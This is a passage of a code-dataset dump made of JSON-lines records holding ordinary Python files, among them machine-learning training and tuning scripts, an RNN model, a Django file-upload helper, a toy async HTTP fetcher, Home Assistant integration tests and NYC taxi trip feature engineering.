os.path.abspath('datasets/OTB')\n # e = ExperimentOTB(root_dir, version=2013)\n \n root_dir = os.path.abspath('datasets/OTB')\n e = ExperimentOTB(root_dir, version=2015)\n\n # root_dir = os.path.abspath('datasets/UAV123')\n # e = ExperimentUAV123(root_dir, version='UAV123')\n\n # root_dir = os.path.abspath('datasets/UAV123')\n # e = ExperimentUAV123(root_dir, version='UAV20L')\n\n # root_dir = os.path.abspath('datasets/DTB70')\n # e = ExperimentDTB70(root_dir)\n\n # root_dir = os.path.abspath('datasets/VOT2018') # VOT测试在评估阶段报错\n # e = ExperimentVOT(root_dir,version=2018,read_image=True, experiments=('supervised', 'unsupervised'))\n\n # root_dir = os.path.abspath('datasets/TColor128')\n # e = ExperimentTColor128(root_dir)\n\n # root_dir = os.path.abspath('datasets/Nfs')\n # e = ExperimentNfS(root_dir)\n\n # root_dir = os.path.abspath('datasets/LaSOT')\n # e = ExperimentLaSOT(root_dir)\n \n e.run(tracker,visualize=False)\n # print('model: %s instance_size: %d lr: %.3f penalty_k: %.3f, window_influence: %.2f' \\\n # %(model_path.split('/')[-1],i,l,k,w))\n logger.info('num:[{}/{}] instance_size={:d} lr_box={:.2f} penalty_k={:.2f} window_influence={:.2f}'.format(count,Sum,i,l,k,w))\n\n prec_score,succ_score,succ_rate= e.report([tracker.name])\n\n if float(prec_score)>max_prec:\n max_prec,index_prec=prec_score,count\n if float(succ_score)>max_succ:\n max_succ,index_succ=succ_score,count\n \n ss='max_prec:%.3f(%d) max_succ:%.3f(%d) -prec_score:%.3f -succ_score:%.3f -succ_rate:%.3f' % \\\n (max_prec,index_prec,max_succ,index_succ,float(prec_score),float(succ_score),float(succ_rate))\n logger.info(ss)\n ","sub_path":"SiamDW/SiamDW-FC/bin/hp_search.py","file_name":"hp_search.py","file_ext":"py","file_size_in_byte":4618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"164177722","text":"import pandas as pd\nimport numpy as np\nfrom neuralnet import *\n\n\nmod = TimeSeries()\n\ndf = mod.dataframe\n\n\ndef first_available_at(df):\n ''' PURPOSE: identify the first available data's stamp\n for all financial variables given\n RETURN: sorted series of variables and their stamps\n '''\n variables = []\n stamps = []\n for ind in df.columns:\n variables.append(ind)\n stamps.append(df[ind].dropna().index[0])\n\n result = pd.Series(data = stamps, index = variables)\n \n return result.sort_values()\n\n\nfirst = first_available_at(df)\n\n\ndef separate_dataset(df):\n first = first_available_at(df)\n\n stamps = list(first.unique())\n\n columns = []\n result= []\n \n for i in range(len(stamps)-1):\n start_stamp = stamps[i]\n for s in first.index:\n if ((first[s] == start_stamp) and (s not in columns)):\n columns.append(s)\n start_pos = list(df.index).index(start_stamp)\n selected_index = df.index[start_pos:]\n result.append(df.loc[selected_index][columns])\n return result\n\nsecond = separate_dataset(df)\n \nfor i in range(len(second)):\n if i == 0:\n second[i].to_csv('sub_datasets/1) start.csv')\n else:\n previous = second[i-1].columns\n current = second[i].columns\n f_name = str(i+1) + \") \"\n added = '-'.join(current.drop(current&previous))\n f_name = f_name + added + \" added.csv\"\n second[i].to_csv('sub_datasets/' + f_name)\n \n \n \n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"57633856","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nfrom apex import RNN\n\nclass RNNModel(nn.Module):\n \"\"\"Container module with an encoder, a recurrent module, and a decoder.\"\"\"\n\n def __init__(self, rnn_type, ntoken, ninp, nhid, nlayers, dropout=0.5, tie_weights=False):\n super(RNNModel, self).__init__()\n self.drop = nn.Dropout(dropout)\n self.encoder = nn.Embedding(ntoken, ninp)\n self.decoder = nn.Linear(nhid, ntoken)\n self.rnn=getattr(RNN, rnn_type)(ninp, nhid, nlayers, dropout=dropout)\n\n # Optionally tie weights as in:\n # \"Using the Output Embedding to Improve Language Models\" (Press & Wolf 2016)\n # https://arxiv.org/abs/1608.05859\n # and\n # \"Tying Word Vectors and Word Classifiers: A Loss Framework for Language Modeling\" (Inan et al. 2016)\n # https://arxiv.org/abs/1611.01462\n if tie_weights:\n if nhid != ninp:\n raise ValueError('When using the tied flag, nhid must be equal to emsize')\n self.decoder.weight = self.encoder.weight\n\n self.decoder.bias.data.fill_(0)\n self.rnn_type = rnn_type\n self.nhid = nhid\n self.nlayers = nlayers\n\n def forward(self, input, reset_mask=None):\n emb = self.drop(self.encoder(input))\n self.rnn.detach_hidden()\n output, hidden = self.rnn(emb, reset_mask=reset_mask)\n output = self.drop(output)\n decoded = self.decoder(output.view(output.size(0)*output.size(1), output.size(2)))\n return decoded.view(output.size(0), output.size(1), decoded.size(1)), hidden\n\n def state_dict(self, destination=None, prefix='', keep_vars=False):\n sd = {}\n sd['encoder'] = self.encoder.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n sd['rnn'] = self.rnn.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n sd = {'encoder': sd}\n sd['decoder'] = self.decoder.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n return sd\n\n def load_state_dict(self, state_dict, strict=True):\n if 'decoder' in state_dict:\n self.decoder.load_state_dict(state_dict['decoder'], strict=strict)\n self.encoder.load_state_dict(state_dict['encoder']['encoder'], strict=strict)\n self.rnn.load_state_dict(state_dict['encoder']['rnn'], strict=strict)\n\nclass RNNFeaturizer(nn.Module):\n \"\"\"Container module with an encoder, a recurrent module, and a decoder.\"\"\"\n\n def __init__(self, rnn_type, ntoken, ninp, nhid, nlayers, dropout=0.5, all_layers=False):\n super(RNNFeaturizer, self).__init__()\n self.drop = nn.Dropout(dropout)\n self.encoder = nn.Embedding(ntoken, ninp)\n self.rnn=getattr(RNN, rnn_type)(ninp, nhid, nlayers, dropout=dropout)\n\n self.rnn_type = rnn_type\n self.nhid = nhid\n self.nlayers = nlayers\n self.all_layers = all_layers\n self.output_size = self.nhid if not self.all_layers else self.nhid * self.nlayers\n\n def forward(self, input, seq_len=None):\n emb = self.drop(self.encoder(input))\n self.rnn.detach_hidden()\n output, hidden = self.rnn(emb, collectHidden=True)\n cell = hidden[1]\n if self.all_layers:\n cell = torch.cat(cell, -1)\n else:\n cell = cell[-1]\n if seq_len is not None:\n cell = cell[(seq_len-1).view(-1).contiguous(), torch.arange(cell.size(1)).long().cuda()]\n return cell\n\n def state_dict(self, destination=None, prefix='', keep_vars=False):\n sd = {}\n sd['encoder'] = self.encoder.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n sd['rnn'] = self.rnn.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n return sd\n\n def load_state_dict(self, state_dict, strict=True):\n self.encoder.load_state_dict(state_dict['encoder'], strict=strict)\n self.rnn.load_state_dict(state_dict['rnn'], strict=strict)\n","sub_path":"model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"254018588","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n# @Time : 2017/8/10 9:14\r\n# @Author : wuchao\r\n# @Site : \r\n# @File : make_dirs.py\r\n# @Software: PyCharm\r\nimport os,platform,sys\r\nimport time,datetime\r\nfrom TAsys2.settings import BASE_DIR\r\nfrom TA02 import settings\r\nfrom TA02 import models\r\nimport shutil\r\n\r\nclass MkDirectory(object):\r\n def __init__(self,pro_obj,cus_obj_lists,fk,fv,tra_date):\r\n self.pro_obj = pro_obj\r\n self.cus_obj_lists = cus_obj_lists\r\n self.fk = fk\r\n self.fv = fv\r\n self.tra_date = tra_date\r\n\r\n def get_platform(self):\r\n os_platform = platform.system()\r\n return os_platform\r\n\r\n def transfer_files_mkd(self): #拼接并生成目录,存储文件到对应的目录\r\n plt = self.get_platform()\r\n if plt == 'Linux':\r\n #拼接linux下的路径\r\n base_fpath_linux = settings.BaseFilePath\r\n pro_name = self.pro_obj.product_full_name\r\n pro_code = self.pro_obj.product_code\r\n fpath1 = '/' + pro_name + pro_code\r\n pro_action = settings.linux_all_action_path['transfer']\r\n fpath2 = pro_action\r\n old_cus_obj = self.cus_obj_lists[0]\r\n old_cus_name = old_cus_obj.customer_name\r\n old_cus_code = old_cus_obj.customer_transaction_unique_code\r\n fpath3 = '/' + old_cus_name + old_cus_code\r\n fpath4 = '/' + self.tra_date\r\n fk = self.fk.replace('_','')\r\n fpath5 = '/' + fk\r\n file_name = self.fv.name\r\n # flag1 = False\r\n # while not flag1:\r\n f_path = ''\r\n\r\n all_paths = [base_fpath_linux,fpath1,fpath2,fpath3,fpath4,fpath5]\r\n for one_path in all_paths:\r\n\r\n f_path += one_path\r\n if not os.path.exists(f_path):\r\n # os.makedirs(f_path.encode('utf-8'))\r\n os.makedirs(f_path)\r\n # os.popen('mkdir -p %s'%f_path)\r\n # f_path += one_path + all_paths[num+1]\r\n\r\n else:\r\n # f_path += '/' + ''.join([pro_name,pro_code])\r\n # os.popen('cd %s',f_path)\r\n pass\r\n\r\n file_all_path = f_path + '/' + file_name\r\n #将文件写入并保存\r\n # file_all_path = file_all_path.encode(encoding='utf-8')\r\n # if not os.path.exists(file_all_path):\r\n if not os.listdir(f_path):\r\n pass\r\n else:\r\n for f_p1 in os.listdir(f_path):\r\n\r\n os.remove(f_path + '/' + f_p1)\r\n\r\n f = open(file_all_path, 'wb')\r\n for chunks in self.fv.chunks():\r\n f.write(chunks)\r\n f.close()\r\n\r\n return file_all_path #返回文件绝对路径\r\n\r\n # f = open(file_all_path, 'wb')\r\n # for chunks in self.fv.chunks():\r\n # f.write(chunks)\r\n # f.close()\r\n # return file_all_path # 返回文件绝对路径\r\n\r\n elif plt == 'Windows':\r\n\r\n #拼接windows下的文件路径\r\n base_fpath_win = BASE_DIR + '\\\\statics' + '\\\\upload'\r\n pro_name = self.pro_obj.product_full_name\r\n pro_code = self.pro_obj.product_code\r\n fpath1 = '\\\\' + pro_name + pro_code\r\n pro_action = settings.windows_all_action_path['transfer']\r\n fpath2 = pro_action\r\n old_cus_obj = self.cus_obj_lists[0]\r\n old_cus_name = old_cus_obj.customer_name\r\n old_cus_code = old_cus_obj.customer_transaction_unique_code\r\n fpath3 = '\\\\' + old_cus_name + old_cus_code\r\n fpath4 = '\\\\' + self.tra_date\r\n fk = self.fk.replace('_', '')\r\n fpath5 = '\\\\' + fk\r\n file_name = self.fv.name\r\n\r\n f_path = ''\r\n\r\n all_paths = [base_fpath_win, fpath1, fpath2, fpath3,fpath4,fpath5]\r\n\r\n for one_path in all_paths:\r\n\r\n f_path += one_path\r\n if not os.path.exists(f_path):\r\n os.makedirs(f_path)\r\n # mk_r = os.popen('mkdir %s'%f_path)\r\n # f_path += one_path + all_paths[num+1]\r\n\r\n else:\r\n # f_path += '/' + ''.join([pro_name,pro_code])\r\n # os.popen('cd %s',f_path)\r\n # print('目录已存在')\r\n pass\r\n file_all_path = f_path + '\\\\' + file_name\r\n\r\n # if not os.path.exists(f_path):\r\n if not os.listdir(f_path):\r\n print('f_path',f_path)\r\n # os.popen('cd %s',f_path)\r\n #将文件写入并保存\r\n pass\r\n else:\r\n for f_p1 in os.listdir(f_path):\r\n os.remove(f_path + '\\\\' + f_p1)\r\n print(11111)\r\n print(file_all_path)\r\n f = open(file_all_path, 'wb')\r\n for chunks in self.fv.chunks():\r\n f.write(chunks)\r\n f.close()\r\n\r\n return file_all_path\r\n # f = open(file_all_path, 'wb')\r\n # for chunks in self.fv.chunks():\r\n # f.write(chunks)\r\n # f.close()\r\n # return file_all_path\r\n else:\r\n exit()\r\n\r\n","sub_path":"TAsys2/utils/make_dirs.py","file_name":"make_dirs.py","file_ext":"py","file_size_in_byte":5344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"255969368","text":"import socket\nfrom typing import Callable, Generator, Tuple\nfrom selectors import DefaultSelector, SelectorKey, EVENT_READ, EVENT_WRITE\nfrom resource import getpagesize\n\n\nclass FutureException(Exception):\n pass\n\n\nBLOCK_SIZE = getpagesize()\nURL = 'xkcd.com'\nEOL = '\\r\\n'\nEOF = EOL * 2\n\n\nclass Future:\n def __init__(self):\n # результат выполнения future; изначально объект future в состоянии\n # ожидающего результата (pending)\n self._result = None\n\n # список функций обратного вызова, которые применяются к результату\n # объекта future\n self._callbacks = []\n\n def __next__(self):\n pass\n\n def __iter__(self):\n # сообщаем task восстановить объект future в этой точке\n yield self\n\n return self._result\n\n def add_done_callback(self, fn: Callable):\n # добавляем callback ф-ю fn в список функций, которые будут вызваны\n # после того, как future получит статус \"resolved\"\n self._callbacks.append(fn)\n\n def set_result(self, result):\n # ��ешение объекта future (future resolve)\n self._result = result\n\n callback_result = result\n\n for fn in self._callbacks:\n # применяем callback ф-и к результату future в том порядке, в\n # котором они были зарегестрированы\n callback_result = fn(callback_result)\n\n self._result = callback_result\n\n def result(self):\n if self._result is None:\n raise FutureException('Future is not resolved')\n\n return self._result\n\n def is_done(self):\n return self._result is None\n\n\nclass Task(Future):\n def __init__(self, coroutine: Generator):\n super().__init__()\n self.coroutine = coroutine\n future = Future()\n self.step(future)\n\n def step(self, future):\n try:\n next_future = self.coroutine.send(None)\n except StopIteration:\n return\n\n future.add_done_callback(next_future)\n\n\nclass Fetcher:\n def __init__(self, url: str, port: int):\n self.url = url\n self.port = port\n self.sock = None\n self.response = b''\n self.selector = DefaultSelector()\n\n def on_readable(self):\n data = self.sock.recv(BLOCK_SIZE)\n self.future.set_result(data)\n\n def read_all(self, sock: socket.SocketType):\n response = b''\n chunk = yield from self.read(sock)\n\n while chunk:\n chunk = yield from self.read(sock)\n response += chunk\n\n return b''.join(self.response)\n\n def read(self, sock: socket.SocketType):\n self.future = Future()\n self.selector.register(\n sock.fileno(), EVENT_READ, self.on_readable\n )\n chunk = yield self.future\n self.selector.unregister(sock.fileno())\n\n return chunk\n\n def fetch(self):\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setblocking(False)\n\n try:\n self.sock.connect((self.url, self.port))\n except BlockingIOError:\n pass\n\n request = str.format(\n 'GET {} HTTP/1.0{}Host: {}{}', self.url, EOL, self.url, EOF\n )\n self.sock.send(request.encode('ascii'))\n self.response = yield from self.read_all(self.sock)\n\n\ndef main():\n fetcher = Fetcher(URL, 80)\n Task(fetcher.fetch())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"core/builtin_features/coroutines/generator/app0_3.py","file_name":"app0_3.py","file_ext":"py","file_size_in_byte":3706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"402023783","text":"import torch\r\nfrom torch import optim,nn\r\nimport visdom\r\nimport torch\r\nfrom torch.utils.data import DataLoader\r\nimport os\r\nfrom Idpcdataset import IDPC\r\nfrom resnet import ResNet18\r\nimport torchsummary\r\nimport torch.optim as optim\r\nfrom torch.optim import lr_scheduler\r\n\r\n\r\n\r\n\r\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\r\nbatchsz =64\r\nlr = 1e-6\r\nepochs = 1000\r\n\r\ndevice = torch.device('cuda')\r\ntorch.manual_seed(1234) # 设置随机种子 \r\n\r\ntrain_db = IDPC('1023_all6/DVBS2ldpc_snr20', mode='train')\r\nval_db = IDPC('1023_all6/DVBS2ldpc_snr20',mode='val')\r\ntest_db = IDPC('1023_all6/DVBS2ldpc_snr20',mode='test')\r\ntrain_loader = DataLoader(train_db,batch_size=batchsz,shuffle=True,num_workers=4)\r\ntest_loader = DataLoader(test_db,batch_size=batchsz,num_workers=4)\r\nval_loader = DataLoader(val_db,batch_size=batchsz,num_workers=4)\r\n\r\ndef evalute(model,loader,mode='test',epoch =0):\r\n if mode =='test':\r\n model.eval()\r\n print('eval : ======================')\r\n eval_step = 0\r\n\r\n correct = 0\r\n total = len(loader.dataset)\r\n # x;[b,3,224,224] y=[b]\r\n for x, y in loader:\r\n x, y = x.to(device).float(), y.to(device)\r\n with torch.no_grad():\r\n logits = model(x)\r\n pred = logits.argmax(dim=1) ##??????\r\n correct += torch.eq(pred,y).sum().float().item()\r\n print('================eval done========================')\r\n return correct/total\r\n else:\r\n model.eval()\r\n print('eval : ======================')\r\n eval_step = 0\r\n\r\n correct = 0\r\n total = len(loader.dataset)\r\n # x;[b,3,224,224] y=[b]\r\n for x, y in loader:\r\n x, y = x.to(device).float(), y.to(device)\r\n with torch.no_grad():\r\n logits = model(x)\r\n pred = logits.argmax(dim=1) ##??????\r\n correct += torch.eq(pred, y).sum().float().item()\r\n print('epoch: ',epoch,' training acc: ',correct / total)\r\n\r\n\r\n'''\r\n\r\n #多块使用逗号隔开\r\n os.environ['CUDA_VISIBLE_DEVICES'] = '1'\r\n\r\n viz = visdom.Visdom()\r\n # db = torchvision.datasets.ImageFolder(root='pokeman',transform=tf)\r\n db = IDPC('/media/data1/ldpc/1023_all6/DVBS2ldpc_snr20', 'training')\r\n x, y = next(iter(db))\r\n\r\n print('sample:', x.shape, y.shape, y)\r\n # viz.signals(db.denormalize(x), win='sample_x', opts=dict(title='sample_x'))\r\n loader = DataLoader(db, batch_size=32, shuffle=True,\r\n num_workers=8) # number_worker 多线程\r\n'''\r\n\r\ndef main():\r\n viz = visdom.Visdom()\r\n model = ResNet18(3).to(device)\r\n model.load_state_dict(torch.load('best.mdl'))\r\n torchsummary.summary(model.cuda(), (1, 64800, 1))\r\n optimizer = optim.Adam(model.parameters(),lr=lr,weight_decay=0.01)\r\n criteon = nn.CrossEntropyLoss()\r\n scheduler = lr_scheduler.StepLR(optimizer, 100, 0.1) # # 每过10个epoch,学习率乘以0.1\r\n best_epoch,best_acc=0,0\r\n global_step = 0\r\n viz.line([0],[-1],win='loss',opts=dict(title='loss'))\r\n viz.line([0], [-1], win='val_acc', opts=dict(title='val_acc'))\r\n for epoch in range(epochs):\r\n print('epoch : ', epoch)\r\n scheduler.step()\r\n for step,(x,y) in enumerate(train_loader):\r\n # x;[b,3,224,224] y=[b]\r\n x,y = x.to(device).float(),y.to(device)\r\n logits = model(x)\r\n loss = criteon(logits,y)\r\n optimizer.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n viz.line([loss.item()], [global_step], win='loss', update='append')\r\n global_step += 1\r\n print('global_step:',global_step, 'loss',loss.item())\r\n if epoch %1==0:\r\n evalute(model, train_loader,mode='train',epoch=epoch)\r\n val_acc = evalute(model,val_loader)\r\n if val_acc>best_acc:\r\n best_epoch = epoch\r\n best_acc = val_acc\r\n torch.save(model.state_dict(),'best.mdl')\r\n viz.line([val_acc], [global_step], win='val_acc', update='append')\r\n print('best acc:',best_acc, 'best epoch',best_epoch)\r\n\r\n model.load_state_dict(torch.load('best.mdl'))\r\n print('loaded from ckpt!')\r\n test_acc = evalute(model,test_loader)\r\n print('test acc', test_acc)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"train_scratch.py","file_name":"train_scratch.py","file_ext":"py","file_size_in_byte":4360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"641211185","text":"\"\"\"Test init of LCN integration.\"\"\"\nfrom unittest.mock import patch\n\nfrom pypck.connection import (\n PchkAuthenticationError,\n PchkConnectionManager,\n PchkLicenseError,\n)\n\nfrom homeassistant import config_entries\nfrom homeassistant.components.lcn.const import DOMAIN\nfrom homeassistant.config_entries import ConfigEntryState\nfrom homeassistant.helpers import entity_registry as er\nfrom homeassistant.setup import async_setup_component\n\nfrom .conftest import MockPchkConnectionManager, init_integration, setup_component\n\n\n@patch(\"pypck.connection.PchkConnectionManager\", MockPchkConnectionManager)\nasync def test_async_setup_entry(hass, entry):\n \"\"\"Test a successful setup entry and unload of entry.\"\"\"\n await init_integration(hass, entry)\n assert len(hass.config_entries.async_entries(DOMAIN)) == 1\n assert entry.state == ConfigEntryState.LOADED\n\n assert await hass.config_entries.async_unload(entry.entry_id)\n await hass.async_block_till_done()\n\n assert entry.state == ConfigEntryState.NOT_LOADED\n assert not hass.data.get(DOMAIN)\n\n\n@patch(\"pypck.connection.PchkConnectionManager\", MockPchkConnectionManager)\nasync def test_async_setup_multiple_entries(hass, entry, entry2):\n \"\"\"Test a successful setup and unload of multiple entries.\"\"\"\n for config_entry in (entry, entry2):\n await init_integration(hass, config_entry)\n assert config_entry.state == ConfigEntryState.LOADED\n await hass.async_block_till_done()\n\n assert len(hass.config_entries.async_entries(DOMAIN)) == 2\n\n for config_entry in (entry, entry2):\n assert await hass.config_entries.async_unload(config_entry.entry_id)\n await hass.async_block_till_done()\n\n assert config_entry.state == ConfigEntryState.NOT_LOADED\n\n assert not hass.data.get(DOMAIN)\n\n\n@patch(\"pypck.connection.PchkConnectionManager\", MockPchkConnectionManager)\nasync def test_async_setup_entry_update(hass, entry):\n \"\"\"Test a successful setup entry if entry with same id already exists.\"\"\"\n # setup first entry\n entry.source = config_entries.SOURCE_IMPORT\n\n # create dummy entity for LCN platform as an orphan\n entity_registry = await er.async_get_registry(hass)\n dummy_entity = entity_registry.async_get_or_create(\n \"switch\", DOMAIN, \"dummy\", config_entry=entry\n )\n assert dummy_entity in entity_registry.entities.values()\n\n # add entity to hass and setup (should cleanup dummy entity)\n entry.add_to_hass(hass)\n await hass.config_entries.async_setup(entry.entry_id)\n await hass.async_block_till_done()\n\n assert dummy_entity not in entity_registry.entities.values()\n\n\nasync def test_async_setup_entry_raises_authentication_error(hass, entry):\n \"\"\"Test that an authentication error is handled properly.\"\"\"\n with patch.object(\n PchkConnectionManager, \"async_connect\", side_effect=PchkAuthenticationError\n ):\n await init_integration(hass, entry)\n assert entry.state == ConfigEntryState.SETUP_ERROR\n\n\nasync def test_async_setup_entry_raises_license_error(hass, entry):\n \"\"\"Test that an authentication error is handled properly.\"\"\"\n with patch.object(\n PchkConnectionManager, \"async_connect\", side_effect=PchkLicenseError\n ):\n await init_integration(hass, entry)\n assert entry.state == ConfigEntryState.SETUP_ERROR\n\n\nasync def test_async_setup_entry_raises_timeout_error(hass, entry):\n \"\"\"Test that an authentication error is handled properly.\"\"\"\n with patch.object(PchkConnectionManager, \"async_connect\", side_effect=TimeoutError):\n await init_integration(hass, entry)\n assert entry.state == ConfigEntryState.SETUP_ERROR\n\n\n@patch(\"pypck.connection.PchkConnectionManager\", MockPchkConnectionManager)\nasync def test_async_setup_from_configuration_yaml(hass):\n \"\"\"Test a successful setup using data from configuration.yaml.\"\"\"\n await async_setup_component(hass, \"persistent_notification\", {})\n\n with patch(\"homeassistant.components.lcn.async_setup_entry\") as async_setup_entry:\n await setup_component(hass)\n\n assert async_setup_entry.await_count == 2\n","sub_path":"tests/components/lcn/test_init.py","file_name":"test_init.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"283404720","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 21 17:40:39 2017\n\n@author: cdavid\n\"\"\"\n\n\"\"\" Import all packages and the used settings and functions \"\"\"\n\nimport pandas as pd\nimport seaborn as sns\nsns.set_style('whitegrid')\n\n\nfrom settings import Settings\nfrom src.functions.data_preprocessing import *\nfrom src.functions.functions_plot import *\nfrom src.functions.regression_pipeline import *\n\nsettings = Settings()\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nLoad training and test dataset\n\"\"\"\n\n# Load train and test dataset\ndf_train = pd.read_csv(settings.config['Data Locations'].get('train'))\ndf_validate = pd.read_csv(settings.config['Data Locations'].get('test'))\n\ndf_train.name = 'df_train'\ndf_validate.name = 'df_validate'\n\n\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nExplore the data\nFirst take a look at the training dataset\n- what are the features and how many features does the training data include\n- are the missing values (but take a deeper look at the data preperation process)\n- what are the different units of the features\n\"\"\"\n\n# Get a report of the training and test dataset as csv\n# -> Use the function describe_report(df, name, output_file_path=None)\n#describe_report(df_train, output_file_path=settings.csv)\n#describe_report(df_validate, output_file_path=settings.csv)\n\n# Show if there are different columns in the training and test dataset. If there is only one difference, it is likely, that its the target variable.\n# If there are columns in the test dataset, which are not in the training dataset, they have to be deleted, because the algorithm will not see them during the training.\n# -> Use the function column_diff(df_train, df_test)\ncolumn_diff(df_train, df_validate)\n\n# Create boxplots to indentify outliers. Histograms are a good standard way to see if feature is skewed but to find outliers, boxplots are the way to use\n# -> Use the function create_boxplots(df, output_file_path=None)\n#create_boxplots(df_train, output_file_path=settings.figures)\n\n\n# create map with trips\ncity_long_border = (-74.03, -73.75)\ncity_lat_border = (40.63, 40.85)\n\ndef trip_map(df_train, df_validate, city_long_border, city_lat_border):\n fig, ax = plt.subplots(ncols=2, sharex=True, sharey=True)\n ax[0].scatter(df_train['pickup_longitude'].values, df_train['pickup_latitude'].values,\n color='blue', s=1, label='train', alpha=0.1)\n ax[1].scatter(df_validate['pickup_longitude'].values, df_validate['pickup_latitude'].values,\n color='green', s=1, label='test', alpha=0.1)\n fig.suptitle('Train and test area complete overlap.')\n ax[0].legend(loc=0)\n ax[0].set_ylabel('latitude')\n ax[0].set_xlabel('longitude')\n ax[1].set_xlabel('longitude')\n ax[1].legend(loc=0)\n plt.ylim(city_lat_border)\n plt.xlim(city_long_border)\n plt.show()\n\n#trip_map(df_train, df_validate, city_long_border, city_lat_border)\n\n\n# Create cluster trips into MiniBatches and plot cluster on map\ndef cluster_trip_map(df_train, df_validate, city_long_border, city_lat_border):\n from sklearn.cluster import MiniBatchKMeans\n\n df_train['pickup_cluster'] = MiniBatchKMeans(n_clusters=100, batch_size=10000).fit_predict(\n df_train[['pickup_latitude', 'pickup_longitude']])\n df_train['dropoff_cluster'] = MiniBatchKMeans(n_clusters=100, batch_size=10000).fit_predict(\n df_train[['dropoff_latitude', 'dropoff_longitude']])\n\n df_validate['pickup_cluster'] = MiniBatchKMeans(n_clusters=100, batch_size=10000).fit_predict(\n df_validate[['pickup_latitude', 'pickup_longitude']])\n df_validate['dropoff_cluster'] = MiniBatchKMeans(n_clusters=100, batch_size=10000).fit_predict(\n df_validate[['dropoff_latitude', 'dropoff_longitude']])\n\n cm = plt.cm.get_cmap('RdYlBu')\n fig, ax = plt.subplots(ncols=1, nrows=1)\n ax.scatter(df_train.pickup_longitude.values, df_train.pickup_latitude.values, c=df_train.pickup_cluster.values,\n alpha=0.2, s=10, cmap=cm)\n ax.set_xlim(city_long_border)\n ax.set_ylim(city_lat_border)\n ax.set_xlabel('Longitude')\n ax.set_ylabel('Latitude')\n plt.show()\n\n#cluster_trip_map(df_train, df_validate, city_long_border, city_lat_border)\n\n\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nFeature Creation\n\"\"\"\n\n# Format to daytime\ndf_train['pickup_datetime'] = pd.to_datetime(df_train.pickup_datetime)\ndf_train['dropoff_datetime'] = pd.to_datetime(df_train.dropoff_datetime)\n\ndf_validate['pickup_datetime'] = pd.to_datetime(df_validate.pickup_datetime)\n\n\n# get date, weekday, day, month, hour, minute\ndf_train['pickup_date'] = df_train['pickup_datetime'].dt.date\ndf_train['pickup_weekday'] = df_train['pickup_datetime'].dt.weekday\ndf_train['pickup_day'] = df_train['pickup_datetime'].dt.day\ndf_train['pickup_month'] = df_train['pickup_datetime'].dt.month\ndf_train['pickup_hour'] = df_train['pickup_datetime'].dt.hour\ndf_train['pickup_minute'] = df_train['pickup_datetime'].dt.minute\n\ndf_validate['pickup_date'] = df_validate['pickup_datetime'].dt.date\ndf_validate['pickup_weekday'] = df_validate['pickup_datetime'].dt.weekday\ndf_validate['pickup_day'] = df_validate['pickup_datetime'].dt.day\ndf_validate['pickup_month'] = df_validate['pickup_datetime'].dt.month\ndf_validate['pickup_hour'] = df_validate['pickup_datetime'].dt.hour\ndf_validate['pickup_minute'] = df_validate['pickup_datetime'].dt.minute\n\n\ndf_train['pickup_weekday_'] = df_train['pickup_weekday'].replace({0: 'Monday', 1: 'Tuesday', 2: 'Wednesday', 3: 'Thursday',\n 4: 'Friday', 5: 'Saturday', 6: 'Sunday'})\n\ndf_train['pickup_weekday_weekend'] = df_train['pickup_weekday'].replace({0: 'weekday', 1: 'weekday', 2: 'weekday', 3: 'weekday',\n 4: 'weekday', 5: 'weekend', 6: 'weekend'})\n\nplt.figure(figsize=(15, 5))\nsns.countplot(x='pickup_hour', hue='pickup_weekday_', data=df_train,\n hue_order=['Monday', 'Tuesday', 'Wednesday', 'Thursday',\n 'Friday', 'Saturday', 'Sunday'])\n\nplt.figure(figsize=(15, 5))\nsns.countplot(x='pickup_hour', hue='pickup_weekday_weekend', data=df_train, hue_order=['weekday', 'weekend'])\n\n\n\n# calculate haversine distance and manhatten distance\n\ndef haversine_distance(lat1, lng1, lat2, lng2):\n\n lat1, lng1, lat2, lng2 = map(np.radians, (lat1, lng1, lat2, lng2))\n AVG_EARTH_RADIUS = 6371 # in km\n lat = lat2 - lat1\n lng = lng2 - lng1\n d = np.sin(lat * 0.5) ** 2 + np.cos(lat1) * np.cos(lat2) * np.sin(lng * 0.5) ** 2\n h = 2 * AVG_EARTH_RADIUS * np.arcsin(np.sqrt(d))\n return h # in km\n\n\ndef manhattan_distance(lat1, lng1, lat2, lng2):\n\n a = haversine_distance(lat1, lng1, lat1, lng2)\n b = haversine_distance(lat1, lng1, lat2, lng1)\n return a + b\n\ndf_train['distance_haversine'] = haversine_distance(\n df_train['pickup_latitude'].values, df_train['pickup_longitude'].values,\n df_train['dropoff_latitude'].values, df_train['dropoff_longitude'].values)\n\ndf_validate['distance_haversine'] = haversine_distance(\n df_validate['pickup_latitude'].values, 